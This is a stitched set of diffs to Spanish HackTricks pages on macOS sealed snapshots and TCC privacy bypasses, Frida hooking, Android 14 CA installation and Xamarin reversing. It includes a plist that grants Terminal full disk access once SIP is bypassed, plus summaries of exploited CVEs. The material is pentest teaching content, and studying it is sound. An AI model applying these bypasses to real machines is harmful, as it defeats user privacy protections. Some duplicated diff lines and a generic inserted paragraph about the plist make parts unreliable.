Las instantáneas selladas del sistema son una característica introducida por Apple en **macOS Big Sur (macOS 11)** como parte de su mecanismo de Protección de Integridad del Sistema (SIP) para proporcionar una capa adicional de seguridad y estabilidad del sistema. Son versiones de solo lectura del volumen del sistema.
Aquí tienes una descripción más detallada:
Aquí tienes un vistazo más detallado:
1. **Sistema inmutable**: las instantáneas selladas del sistema hacen que el volumen del sistema macOS sea "inmutable", lo que significa que no se puede modificar. Esto evita cualquier cambio no autorizado o accidental en el sistema que pueda comprometer la seguridad o la estabilidad del sistema.
2. **Actualizaciones de software del sistema**: cuando instalas actualizaciones o mejoras de macOS, macOS crea una nueva instantánea del sistema. El volumen de inicio de macOS utiliza **APFS (Apple File System)** para cambiar a esta nueva instantánea. Todo el proceso de aplicación de actualizaciones se vuelve más seguro y confiable, ya que el sistema siempre puede revertir a la instantánea anterior si algo sale mal durante la actualización.
2. **Actualizaciones de software del sistema**: cuando instalas actualizaciones o mejoras de macOS, macOS crea una nueva instantánea del sistema. El volumen de inicio de macOS utiliza **APFS (Apple File System)** para cambiar a esta nueva instantánea. Todo el proceso de aplicación de actualizaciones se vuelve más seguro y confiable, ya que el sistema siempre puede volver a la instantánea anterior si algo sale mal durante la actualización.
3. **Separación de datos**: en conjunto con el concepto de separación de volúmenes de datos y sistema introducido en macOS Catalina, la función de instantáneas selladas del sistema se asegura de que todos tus datos y configuraciones se almacenen en un volumen "**Data**" separado. Esta separación hace que tus datos sean independientes del sistema, lo que simplifica el proceso de actualización del sistema y mejora la seguridad del sistema.
Recuerda que estas instantáneas son administradas automáticamente por macOS y no ocupan espacio adicional en tu disco, gracias a las capacidades de uso compartido de espacio de APFS. También es importante tener en cuenta que estas instantáneas son diferentes de las **instantáneas de Time Machine**, que son copias de seguridad accesibles por el usuario de todo el sistema.
@ -121,36 +123,36 @@ Recuerda que estas instantáneas son administradas automáticamente por macOS y
El comando **`diskutil apfs list`** muestra los **detalles de los volúmenes APFS** y su distribución:
<pre><code>+-- Contenedor disk3 966B902E-EDBA-4775-B743-CF97A0556A13
<pre><code>+-- Container disk3 966B902E-EDBA-4775-B743-CF97A0556A13
| ====================================================
| Referencia de contenedor APFS: disk3
| Tamaño (límite de capacidad): 494384795648 B (494.4 GB)
| Capacidad utilizada por volúmenes: 219214536704 B (219.2 GB) (44.3% utilizado)
| Capacidad no asignada: 275170258944 B (275.2 GB) (55.7% libre)
| APFS Container Reference: disk3
| Size (Capacity Ceiling): 494384795648 B (494.4 GB)
| Capacity In Use By Volumes: 219214536704 B (219.2 GB) (44.3% used)
| Capacity Not Allocated: 275170258944 B (275.2 GB) (55.7% free)
| |
| +-&#x3C; Almacenamiento físico disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
| +-&#x3C; Physical Store disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
| | -----------------------------------------------------------
| | Disco de almacenamiento físico APFS: disk0s2
| | Tamaño: 494384795648 B (494.4 GB)
| | APFS Physical Store Disk: disk0s2
| | Size: 494384795648 B (494.4 GB)
| |
| +-> Volumen disk3s1 7A27E734-880F-4D91-A703-FB55861D49B7
| +-> Volume disk3s1 7A27E734-880F-4D91-A703-FB55861D49B7
| | ---------------------------------------------------
<strong>| | Volumen APFS (Rol): disk3s1 (Sistema)
</strong>| | Nombre: Macintosh HD (sin distinción entre mayúsculas y minúsculas)
<strong>| | Punto de montaje: /System/Volumes/Update/mnt1
</strong>| | Capacidad consumida: 12819210240 B (12.8 GB)
| | Sellado: Roto
| | FileVault: Sí (Desbloqueado)
| | Encriptado: No
<strong>| | APFS Volume Disk (Role): disk3s1 (System)
</strong>| | Name: Macintosh HD (Case-insensitive)
<strong>| | Mount Point: /System/Volumes/Update/mnt1
</strong>| | Capacity Consumed: 12819210240 B (12.8 GB)
| | Sealed: Broken
| | FileVault: Yes (Unlocked)
| | Encrypted: No
| | |
| | Instantánea: FAA23E0C-791C-43FF-B0E7-0E1C0810AC61
| | Disco de instantánea: disk3s1s1
| | Disco de la instantánea: disk3s1s1
<strong>| | Punto de montaje de la instantánea: /
</strong><strong>| | Instantánea sellada: Sí
</strong>[...]
+-> Volumen disk3s5 281959B7-07A1-4940-BDDF-6419360F3327
| ---------------------------------------------------
| Disco de Volumen APFS (Rol): disk3s5 (Datos)
| Disco del volumen APFS (Rol): disk3s5 (Datos)
| Nombre: Macintosh HD - Datos (No distingue mayúsculas y minúsculas)
<strong> | Punto de montaje: /System/Volumes/Datos
</strong><strong> | Capacidad consumida: 412071784448 B (412.1 GB)

View File

@ -123,15 +123,70 @@ tccutil reset All app.some.id
# Reset the permissions granted to all apps
tccutil reset All
```
### Escalada de privilegios desde la base de datos de usuario TCC a FDA
### Escalación de privilegios desde la base de datos de usuario TCC a FDA
Obtener **permisos de escritura** sobre la base de datos de usuario TCC no te permite otorgarte a ti mismo los permisos de **`FDA`**, solo aquellos que residen en la base de datos del sistema pueden otorgarlos.
Obtener **permisos de escritura** sobre la base de datos de usuario TCC no te permite otorgarte a ti mismo los permisos de **`FDA`**, solo la base de datos del sistema puede otorgar eso.
Pero puedes otorgarte a ti mismo los **derechos de automatización para Finder**, y dado que Finder tiene `FDA`, tú también los tendrás.
### De la omisión de SIP a la omisión de TCC
Las bases de datos de **TCC** están protegidas por **SIP**, por lo que solo los procesos con los **privilegios indicados podrán modificar** las bases de datos. Por lo tanto, si un atacante encuentra una **omisión de SIP** en un **archivo** (puede modificar un archivo restringido por SIP), podrá **eliminar la protección** de una base de datos de TCC y otorgarse todos los permisos de TCC.
Sin embargo, hay otra opción para abusar de esta **omisión de SIP para omitir TCC**: el archivo `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` es una lista de aplicaciones que requieren una excepción de TCC. Por lo tanto, si un atacante puede **eliminar la protección de SIP** de este archivo y agregar su **propia aplicación**, la aplicación podrá omitir TCC.
Por ejemplo, para agregar Terminal:
```bash
# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app
```
AllowApplicationsList.plist:
Este archivo es utilizado por el Mecanismo de Control de Transparencia (TCC) en macOS para determinar qué aplicaciones tienen permiso para acceder a ciertos recursos protegidos, como la cámara, el micrófono o los datos de ubicación. El archivo AllowApplicationsList.plist contiene una lista de las aplicaciones permitidas y sus identificadores de paquete.
Para agregar una aplicación a la lista de permitidas, debes editar este archivo y agregar una entrada con el identificador de paquete de la aplicación. Asegúrate de que el identificador de paquete sea correcto, ya que de lo contrario la aplicación no será reconocida.
Es importante tener en cuenta que modificar este archivo requiere privilegios de administrador y puede afectar la seguridad del sistema si se realizan cambios incorrectos. Se recomienda tener precaución al editar este archivo y realizar copias de seguridad regulares del mismo.
Aquí hay un ejemplo de cómo se ve el archivo AllowApplicationsList.plist:
```xml
<dict>
<key>AllowedApplications</key>
<array>
<string>com.example.app1</string>
<string>com.example.app2</string>
</array>
</dict>
```
En este ejemplo, las aplicaciones "com.example.app1" y "com.example.app2" tienen permiso para acceder a los recursos protegidos por el TCC.
Recuerda que es importante mantener actualizado este archivo y revisar regularmente las aplicaciones permitidas para garantizar la seguridad de tu sistema.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Services</key>
<dict>
<key>SystemPolicyAllFiles</key>
<array>
<dict>
<key>CodeRequirement</key>
<string>identifier &quot;com.apple.Terminal&quot; and anchor apple</string>
<key>IdentifierType</key>
<string>bundleID</string>
<key>Identifier</key>
<string>com.apple.Terminal</string>
</dict>
</array>
</dict>
</dict>
</plist>
```
### Verificación de firmas de TCC
La base de datos de TCC almacena el **ID de paquete** de la aplicación, pero también **almacena** información sobre la **firma** para asegurarse de que la aplicación que solicita usar un permiso sea la correcta.
La **base de datos** de TCC almacena el **ID del paquete** de la aplicación, pero también **almacena** **información** sobre la **firma** para **asegurarse** de que la aplicación que solicita usar un permiso sea la correcta.
{% code overflow="wrap" %}
```bash

View File

@ -6,7 +6,7 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -26,47 +26,47 @@ ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
```
El **atributo extendido `com.apple.macl`** se agrega al nuevo **archivo** para dar acceso a la **aplicación creadora** para leerlo.
El atributo extendido `com.apple.macl` se agrega al nuevo archivo para dar acceso a la aplicación creadora para leerlo.
### Bypass de SSH
Por defecto, el acceso a través de **SSH solía tener "Acceso completo al disco"**. Para desactivarlo, es necesario que esté en la lista pero desactivado (eliminarlo de la lista no eliminará esos privilegios):
Por defecto, el acceso a través de SSH solía tener "Acceso completo al disco". Para desactivarlo, es necesario que esté en la lista pero desactivado (eliminarlo de la lista no eliminará esos privilegios):
![](<../../../../../.gitbook/assets/image (569).png>)
Aquí puedes encontrar ejemplos de cómo algunos **malwares han logrado evadir esta protección**:
Aquí puedes encontrar ejemplos de cómo algunos malwares han logrado evadir esta protección:
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
{% hint style="danger" %}
Ten en cuenta que ahora, para poder habilitar SSH, necesitas **Acceso completo al disco**.
Ten en cuenta que ahora, para poder habilitar SSH, necesitas "Acceso completo al disco".
{% endhint %}
### Manejar extensiones - CVE-2022-26767
El atributo **`com.apple.macl`** se otorga a los archivos para darle a una **aplicación específica permisos para leerlo**. Este atributo se establece cuando se **arrastra y suelta** un archivo sobre una aplicación, o cuando un usuario **hace doble clic** en un archivo para abrirlo con la **aplicación predeterminada**.
El atributo `com.apple.macl` se otorga a los archivos para darle a una determinada aplicación permisos para leerlo. Este atributo se establece cuando se arrastra y se suelta un archivo sobre una aplicación, o cuando un usuario hace doble clic en un archivo para abrirlo con la aplicación predeterminada.
Por lo tanto, un usuario podría **registrar una aplicación maliciosa** para manejar todas las extensiones y llamar a Launch Services para **abrir** cualquier archivo (de modo que el archivo malicioso obtendrá acceso para leerlo).
Por lo tanto, un usuario podría registrar una aplicación maliciosa para manejar todas las extensiones y llamar a Launch Services para abrir cualquier archivo (de modo que el archivo malicioso obtendrá acceso para leerlo).
### iCloud
Con el permiso **`com.apple.private.icloud-account-access`**, es posible comunicarse con el servicio XPC **`com.apple.iCloudHelper`**, que **proporcionará tokens de iCloud**.
Con el entitlement `com.apple.private.icloud-account-access`, es posible comunicarse con el servicio XPC `com.apple.iCloudHelper`, que proporcionará tokens de iCloud.
**iMovie** y **Garageband** tenían este permiso y otros que lo permitían.
**iMovie** y **Garageband** tenían este entitlement y otros que lo permitían.
Para obtener más **información** sobre la explotación para **obtener tokens de iCloud** a partir de ese permiso, consulta la charla: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
Para obtener más información sobre la explotación para obtener tokens de iCloud a partir de ese entitlement, consulta la charla: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / Automatización
Una aplicación con el permiso **`kTCCServiceAppleEvents`** podrá **controlar otras aplicaciones**. Esto significa que podría abusar de los permisos otorgados a las otras aplicaciones.
Una aplicación con el permiso `kTCCServiceAppleEvents` podrá controlar otras aplicaciones. Esto significa que podría abusar de los permisos otorgados a las otras aplicaciones.
Para obtener más información sobre los Scripts de Apple, consulta:
Para obtener más información sobre los Apple Scripts, consulta:
{% content-ref url="macos-apple-scripts.md" %}
[macos-apple-scripts.md](macos-apple-scripts.md)
{% endcontent-ref %}
Por ejemplo, si una aplicación tiene **permiso de Automatización sobre `iTerm`**, por ejemplo en este ejemplo **`Terminal`** tiene acceso sobre iTerm:
Por ejemplo, si una aplicación tiene permiso de Automatización sobre `iTerm`, por ejemplo en este ejemplo **`Terminal`** tiene acceso sobre iTerm:
<figure><img src="../../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
@ -201,7 +201,7 @@ El **primer POC** utiliza [**dsexport**](https://www.unix.com/man-page/osx/1/dse
6. Detén el proceso _tccd_ del usuario y reinicia el proceso.
El segundo POC utilizó **`/usr/libexec/configd`** que tenía `com.apple.private.tcc.allow` con el valor **`kTCCServiceSystemPolicySysAdminFiles`**.\
Era posible ejecutar **`configd`** con la opción **`-t`**, por lo que un atacante podría especificar una **Carga de paquete personalizada**. Por lo tanto, el exploit **reemplaza** el método de cambio del directorio de inicio del usuario mediante **inyección de código en `configd`**.
Era posible ejecutar **`configd`** con la opción **`-t`**, por lo que un atacante podría especificar una **Carga personalizada de paquete**. Por lo tanto, el exploit **reemplaza** el método de cambio del directorio de inicio del usuario mediante **inyección de código en `configd`**.
Para obtener más información, consulta el [**informe original**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/).
@ -220,7 +220,7 @@ Los plugins son código adicional generalmente en forma de bibliotecas o plist,
La aplicación `/System/Library/CoreServices/Applications/Directory Utility.app` tenía el entitlement **`kTCCServiceSystemPolicySysAdminFiles`**, cargaba plugins con extensión **`.daplug`** y **no tenía el runtime endurecido**.
Para aprovechar esta CVE, se **cambia** el **`NFSHomeDirectory`** (abusando del entitlement anterior) para poder **tomar el control de la base de datos de TCC de los usuarios** y eludir TCC.
Para aprovechar esta CVE, se **cambia** el **`NFSHomeDirectory`** (abusando del entitlement anterior) para poder **tomar el control de la base de datos de TCC** de los usuarios y eludir TCC.
Para obtener más información, consulta el [**informe original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
@ -303,7 +303,7 @@ Telegram tenía los permisos `com.apple.security.cs.allow-dyld-environment-varia
## Mediante invocaciones abiertas
Es posible invocar `open` en un entorno sandbox.
Es posible invocar `open` incluso cuando se está en un entorno sandbox&#x20;
### Scripts de Terminal
@ -417,12 +417,22 @@ En varias ocasiones, los archivos almacenarán información sensible como correo
<figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>
## Clicks sintéticos
Esto ya no funciona, pero [**sí funcionó en el pasado**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
<figure><img src="../../../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Otra forma utilizando [**eventos de CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
<figure><img src="../../../../../.gitbook/assets/image (1).png" alt="" width="563"><figcaption></figcaption></figure>
## Referencia
* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
* [**20+ Formas de Evadir los Mecanismos de Privacidad de tu macOS**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
* [**Knockout Win Against TCC - 20+ Nuevas Formas de Evadir los Mecanismos de Privacidad de tu MacOS**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
* [**Knockout Win Against TCC - 20+ NEW Ways to Bypass Your MacOS Privacy Mechanisms**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
<details>
@ -430,8 +440,8 @@ En varias ocasiones, los archivos almacenarán información sensible como correo
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -12,7 +12,7 @@
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
@ -88,7 +88,7 @@ onComplete: function() { }
});
});
```
En este caso, esto no funciona ya que no hay ninguna instancia y la función es estática
En este caso no funciona ya que no hay ninguna instancia y la función es estática
### Función estática
@ -133,7 +133,7 @@ Puedes ver eso en [el siguiente tutorial](frida-tutorial-2.md).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).

View File

@ -42,25 +42,25 @@ adb reboot #Now, reboot the machine
```
{% endcode %}
Una vez que la **máquina termine de reiniciarse**, el certificado de Burp estará en uso por ella.
Una vez que la **máquina haya terminado de reiniciarse**, el certificado de Burp estará en uso por ella.
## Usando Magisc
Si **rooteaste tu dispositivo con Magisc** (quizás un emulador) y no puedes seguir los **pasos** anteriores para instalar el certificado de Burp porque el **sistema de archivos es de solo lectura** y no puedes volver a montarlo como escribible, hay otra forma.
Si **rooteaste tu dispositivo con Magisc** (quizás un emulador) y no puedes seguir los **pasos** anteriores para instalar el certificado de Burp porque el **sistema de archivos es de solo lectura** y no puedes volver a montarlo como de escritura, hay otra forma.
Explicado en [**este video**](https://www.youtube.com/watch?v=qQicUW0svB8), debes:
1. **Instalar un certificado CA**: Simplemente **arrastra y suelta** el certificado Burp DER **cambiando la extensión** a `.crt` en el móvil para que se guarde en la carpeta de Descargas y ve a `Instalar un certificado` -> `Certificado CA`
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
* Verifica que el certificado se haya almacenado correctamente yendo a `Credenciales de confianza` -> `USUARIO`
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Hacerlo de confianza del sistema**: Descarga el módulo de Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un archivo .zip), **arrástralo y suéltalo** en el teléfono, ve a la aplicación de Magisc en el teléfono a la sección **`Módulos`**, haz clic en **`Instalar desde almacenamiento`**, selecciona el módulo `.zip` y una vez instalado **reinicia** el teléfono:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
* Después de reiniciar, ve a `Credenciales de confianza` -> `SISTEMA` y verifica que el certificado de Postswigger esté allí
@ -72,15 +72,15 @@ Cambios:
* Hasta ahora, los certificados CA de confianza del sistema se encontraban en **`/system/etc/security/cacerts/`**. En un emulador AOSP estándar, estos podían **modificarse directamente con acceso root** con una configuración mínima, teniendo **efecto en todas partes** de inmediato.
* En Android 14, los certificados CA de confianza del sistema generalmente se encontrarán en **`/apex/com.android.conscrypt/cacerts`**, y todo **`/apex` es inmutable**.
* Esa ruta de cacerts de APEX no se puede volver a montar como escribible; los remontajes simplemente fallan. De hecho, incluso si desmontas toda la ruta desde una shell de root, las aplicaciones aún pueden leer tus certificados sin problemas.
* Esa ruta de cacerts de APEX no se puede volver a montar como de escritura; los remontajes simplemente fallan. De hecho, incluso si desmontas toda la ruta desde una shell de root, las aplicaciones aún pueden leer tus certificados sin problemas.
* La técnica alternativa de **montar un directorio tmpfs encima tampoco funciona**; aunque esto significa que `ls /apex/com.android.conscrypt/cacerts` podría no devolver nada (o cualquier otra cosa que desees), las aplicaciones seguirán viendo los mismos datos originales.
* Debido a que el montaje de `/apex` se realiza [explícitamente](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a) **con propagación PRIVADA**, todos los cambios en los montajes dentro de la ruta `/apex` nunca se comparten entre procesos.
Esto lo hace el proceso `init` que inicia el sistema operativo, que luego inicia el [proceso Zygote](https://en.wikipedia.org/wiki/Booting\_process\_of\_Android\_devices#Zygote) (con un nuevo espacio de montaje copiado del padre, por lo que incluye su **propio montaje privado de `/apex`**), que a su vez **inicia cada proceso de aplicación** cuando se lanza una aplicación en el dispositivo (cada uno de ellos copia ese mismo montaje privado de `/apex`).
Esto lo hace el proceso `init` que inicia el sistema operativo, que luego inicia el [proceso Zygote](https://en.wikipedia.org/wiki/Booting\_process\_of\_Android\_devices#Zygote) (con un nuevo espacio de nombres de montaje copiado del padre, por lo que incluye su **propio montaje privado de `/apex`**), que a su vez **inicia cada proceso de aplicación** cada vez que se inicia una aplicación en el dispositivo (que a su vez copia ese mismo montaje privado de `/apex`).
### Remontar puntos de montaje de forma recursiva
* Puedes remontar `/apex` manualmente, eliminando la propagación PRIVADA y haciéndolo escribible (irónicamente, parece que eliminar por completo la propagación privada _sí_ se propaga en todas partes).
* Puedes remontar `/apex` manualmente, eliminando la propagación PRIVADA y haciéndolo de escritura (irónicamente, parece que eliminar por completo la propagación privada _sí_ se propaga en todas partes).
* Copias todo el contenido de `/apex/com.android.conscrypt` en otro lugar.
* Luego desmontas por completo `/apex/com.android.conscrypt`, eliminando el montaje de solo lectura que proporciona inmutablemente este módulo.
* Luego copias el contenido nuevamente, para que se encuentre en el montaje de `/apex` directamente, donde se puede modificar (debes hacer esto rápidamente, ya que [aparentemente](https://infosec.exchange/@g1a55er/111069489513139531) puedes ver bloqueos de lo contrario).

View File

@ -34,7 +34,7 @@ Se ejecuta junto con el tiempo de ejecución Objective-C. Los entornos de tiempo
El diagrama que se muestra a continuación representa esta arquitectura:
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### ¿Qué es .Net Runtime y Mono Framework?
@ -48,9 +48,9 @@ El diagrama que se muestra a continuación representa esta arquitectura:
La descompilación es el proceso utilizado para producir código fuente a partir de código compilado. Para obtener información sobre los ensamblados y ejecutables que se encuentran actualmente en memoria, Windows es un buen lugar.
Para abrir la ventana de Módulos, selecciona Depurar > Ventanas > Módulos. Una vez que detectes el módulo que requiere descompilación, haz clic derecho y selecciona "Descompilar fuente a archivo de símbolos". Esta acción **genera un archivo de símbolos que contiene un código fuente descompilado que**, a su vez, te permite ingresar al código de terceros directamente desde tu código fuente.
Para abrir la ventana Módulos, selecciona Depurar > Ventanas > Módulos. Una vez que detectes el módulo que requiere descompilación, haz clic derecho y selecciona "Descompilar fuente a archivo de símbolos". Esta acción **genera un archivo de símbolos que contiene un código fuente descompilado que**, a su vez, te permite ingresar al código de terceros directamente desde tu código fuente.
**Visual Studio** descompila el código administrado, incluso en ausencia de símbolos, lo que te permite ver el código, inspeccionar las variables y establecer puntos de interrupción. Para extraer el código fuente al disco, haz clic derecho en el módulo con el origen incrustado y haz clic en "Extraer origen incrustado". Esto exportará los archivos fuente a una carpeta de archivos varios para su posterior análisis.
**Visual Studio** descompila el código administrado, incluso en ausencia de símbolos, lo que te permite ver el código, inspeccionar las variables y establecer puntos de interrupción. Para extraer el código fuente al disco, haz clic derecho en el módulo con el código fuente incrustado y haz clic en "Extraer origen incrustado". Esto exportará los archivos fuente a una carpeta de archivos varios para su posterior análisis.
### Compilación JIT vs AOT de aplicaciones Xamarin
@ -67,9 +67,9 @@ Si te encuentras con una aplicación compilada con AOT completo y si los archivo
Simplemente **descomprime el archivo apk/ipa** y copia todos los archivos presentes en el directorio de ensamblados:
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
En el caso de los APK de Android, **estos archivos dll están comprimidos** y no se pueden utilizar directamente para la descompilación. Afortunadamente, existen herramientas que podemos utilizar para **descomprimir estos archivos dll** como [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) y [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
En el caso de los **APK de Android, estos archivos dll están comprimidos** y no se pueden utilizar directamente para la descompilación. Afortunadamente, existen herramientas que podemos utilizar para **descomprimir estos archivos dll** como [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) y [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
```
python3 xamarin-decompress.py -o /path/to/decompressed/apk
```
@ -91,7 +91,7 @@ Finalmente, puedes utilizar [**estas herramientas recomendadas**](../reversing/r
## Análisis Dinámico
Intenta verificar si la aplicación tiene algún tipo de SSL pinning implementado. Si no es así, utilizando Burp como un sistema, CA debería funcionar para interceptar las solicitudes. **Frida con tiempo de ejecución de Java u ObjC no funcionará** aquí, pero afortunadamente hay una herramienta que se puede utilizar para engancharse a los métodos.
Intenta verificar si la aplicación tiene algún tipo de SSL pinning. Si no lo tiene, utilizando Burp como sistema, CA debería funcionar para interceptar las solicitudes. **Frida con tiempo de ejecución de Java u ObjC no funcionará** aquí, pero afortunadamente hay una herramienta que se puede utilizar para engancharse a los métodos.
[**Fridax**](https://github.com/NorthwaveSecurity/fridax) te permite **modificar fácilmente el binario .NET dentro de una aplicación Xamarin en tiempo de ejecución**. El análisis estático te ayudará a identificar los diferentes métodos presentes en la aplicación, que luego se pueden enganchar para el análisis dinámico utilizando Fridax. A continuación se muestran algunos scripts de Frida que pueden ayudarnos a eludir la detección de root o SSL pinning:
@ -112,6 +112,6 @@ Intenta verificar si la aplicación tiene algún tipo de SSL pinning implementad
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
